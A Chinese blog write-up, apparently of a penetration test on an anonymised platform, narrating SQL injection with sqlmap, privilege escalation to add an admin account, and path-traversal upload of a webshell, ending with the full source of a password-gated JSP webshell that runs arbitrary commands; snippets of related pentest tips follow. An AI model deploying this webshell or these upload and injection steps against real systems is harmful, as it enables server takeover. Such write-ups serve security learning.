某平台的一次简单渗透测试记录

一颗小胡椒2022-03-07 06:40:59

0x01 目标

某平台系统(www.target.net

0x02 流程

0x03 测试

拿到站点后先做信息收集,扫描目录看看有无敏感信息

寥寥无几,没有任何信息,启动burpsuite打开网站走一遍流程。

在创建目标处存在图片上传接口,上传shell试试。

没有任何过滤,可直接上传,但当前目录不解析,猜测projectKey控制上传路径

可跨目录上传,但当前/webapp/test/uploadFile/路径非网站根目录,爆破了常见网站目录但没有一个是正确的解析shell的,先放着后续是否能找到网站根路径然后再跨目录上传。

越权

在浏览到某个页面中看到了一处链接/detail.shtml?key={{id}},拿出来浏览器中访问,测测是否存在越权或者SQL注入。


http://www.target.net/detail.shtml?key=1

随便给个数值访问测试,发现只存在水平越权,不存在注入。

http://www.target.net/detail.shtml?key=

去掉参数直接访问,却弹出来了报错页面。

该站点使用的是spring框架,重新使用spring相关接口路由字典扫一遍,还意外扫到了druid登录页面,但并不存在未授权访问和弱口令的漏洞,继续看swagger。

在swagger中找到了一处注入和敏感信息泄露。

敏感信息泄露

根据URL猜参数名teamId,查看到所有的团队信息。

这里也是一处越权。

sql注入

同样猜参数名,未做任何过滤,单引号报错,直接上sqlmap一把梭。

越权添加用户

但翻了翻数据库并未找到管理员账号密码,不过找到了网站接口配置信息,将接口导出然后放到burpsuite里面跑

成功找到了越权添加/编辑用户接口,直接添加新管理员账号并登录。

任意文件上传

回到刚才文件上传处,通过sql注入报错页面我们找到了真实路径/usr/local/test/webapps/ROOT/WEB-INF/classes/mappings/base-mapper.xml],修改projectKey值,用../../../../跨目录上传shell

0x04 疑问

在最后上传shell处,尝试了冰蝎、哥斯拉的马都无法正常解析,后来更换了带密码回显的jsp马才成功,请问这是什么原因?

<%
    if("admin".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("
");        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("
");    }
%>
渗透测试接口
本作品采用《CC 协议》,转载必须注明作者和本文链接
或是每一个请求有唯一的一个 token,请求提交后,token 失效这样。把其用户的浏览历史记录 url 发送到 intruder,遍历其用户的 id,看返回 response 信息中是否有正常返回的,且是其他用户的,则证明存在接口遍历问题。
翻看前端代码,可怜的js文件就几个,不过看还真的有了新发现,common.js里面定义了一些地址。扩大战果有了接口,除了测试接口未授权,我们还能对接口进行其他测试。看了下接口,账号只能后台添加、审核、删除、停用。不了解开发的心态)这里的参数js中并没有提供,需要自己Fuzz,不过这个系统非常的人性化,提供了报错信息,图是后补的。
渗透测试Tips
2022-04-13 06:38:50
知己知彼,百战不殆1、如果提示缺少参数,如{msg:params error},可尝使用字典模糊测试构造参数,进一步攻击。
接口未授权在尝是了一波js接口后没有发现什么漏洞,但是查找到了一些信息泄露。sql注入(两枚)在刚刚注册了用户,登录进去。第一处将url和参数进行拼接。第二处第二处同样是js文件内找到。在图片中间的地方插入xss语句但是如果没有找到可以注册的api,则这个漏洞无法利用,为了扩大漏洞危害,尝试删除cookie,是否可以未授权文件上传。
了解接口常见漏洞,将帮助你在测试接口获取更多的思路。信息披露信息可能会在 API 响应或公共来源中披露。敏感数据可以包含攻击者可以利用的任何信息。例如,使用WordPress API的网站可能会在不知不觉中与导航到API路径的任何人共享用户信息。错误消息可帮助 API 使用者排查其与 API 的交互问题,并允许 API 提供者了解其应用程序的问题。其他良好的信息来源是在侦察期间收集的 API 文档和资源。
前言:渗透测试的时候往往会遇到盲注这类的繁杂的手工测试,所以需要编写半自动化脚本去进行测试减少时间浪费并快速
渗透测试-API接口测试
2021-12-28 22:57:33
一个API中通常包含的结构有:本文记录的是Postman学习,以及一些接口测试概念。帮助大家建立接口测试的整体概念,以及学会Postman工具的使用。因为客户自己的测试人员平时做业务功能测试时,也都是有现成的测试 demo的,不可能在Postman中一个一个手动构造请求去测试
主要是可以拿着这些信息通过goole,或github搜索一些其他的敏感信息,扩大搜索面。效果就不多说了,在github泄漏一些账号或源码的事件简直不要太多。)如果得到的ip结果不同,即可判断使用了CDN。nmap扫描服务器进行搜集,我认为也是至关重要的一点,不能遗漏。里面的security项rename-command CONFIG ""又问:如果内容禁止使用ip如何探测内网端口1、使用dns解析2、127。
一颗小胡椒
暂无描述